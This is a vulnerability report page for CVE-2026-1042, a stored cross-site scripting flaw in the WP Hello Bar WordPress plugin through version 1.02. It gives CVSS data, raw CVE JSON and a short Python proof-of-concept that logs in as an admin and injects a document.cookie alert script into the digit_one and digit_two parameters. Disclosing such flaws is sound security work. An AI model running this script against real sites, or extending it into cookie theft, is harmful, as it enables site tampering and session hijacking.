Security Vulnerability Report
中文
CVE-2026-1042 CVSS 4.4 MEDIUM

CVE-2026-1042

Published: 2026-01-20 06:16:00
Last Modified: 2026-04-15 00:35:42

Description

The WP Hello Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'digit_one' and 'digit_two' parameters in all versions up to, and including, 1.02 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Hello Bar plugin <= 1.02

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-1042 PoC - WP Hello Bar Stored XSS # Target: WordPress site with WP Hello Bar plugin <= 1.02 # Authentication: Requires admin-level WordPress account target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=wp-hello-bar" session = requests.Session() # Step 1: Login as admin login_data = { "log": "admin_username", "pwd": "admin_password", "wp-submit": "Log In", "redirect_to": f"{target_url}{admin_path}", "testcookie": "1" } session.post(f"{target_url}/wp-login.php", data=login_data) # Step 2: Inject XSS payload via digit_one parameter xss_payload = "<script>alert(document.cookie)</script>" exploit_data = { "digit_one": xss_payload, "digit_two": xss_payload, "submit": "Save Changes" } response = session.post(f"{target_url}{admin_path}", data=exploit_data) # Step 3: Trigger XSS by accessing any page with the plugin page_response = session.get(f"{target_url}/") if xss_payload in page_response.text: print("[+] XSS payload successfully stored and reflected") else: print("[-] XSS injection may have failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1042", "sourceIdentifier": "[email protected]", "published": "2026-01-20T06:16:00.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Hello Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'digit_one' and 'digit_two' parameters in all versions up to, and including, 1.02 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP Hello Bar para WordPress es vulnerable a cross-site scripting almacenado a través de los parámetros 'digit_one' y 'digit_two' en todas las versiones hasta la 1.02, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel de administrador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://downloads.wordpress.org/plugin/wp-hello-bar.1.02.zip", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hello-bar/tags/1.02/wp-hello-bar.php#L152", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hello-bar/tags/1.02/wp-hello-bar.php#L214", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-hello-bar/tags/1.02/wp-hello-bar.php#L222", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-hello-bar/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/73b55486-adb8-40c6-9113-c98618d9cb00?source=cve", "source": "[email protected]"}]}}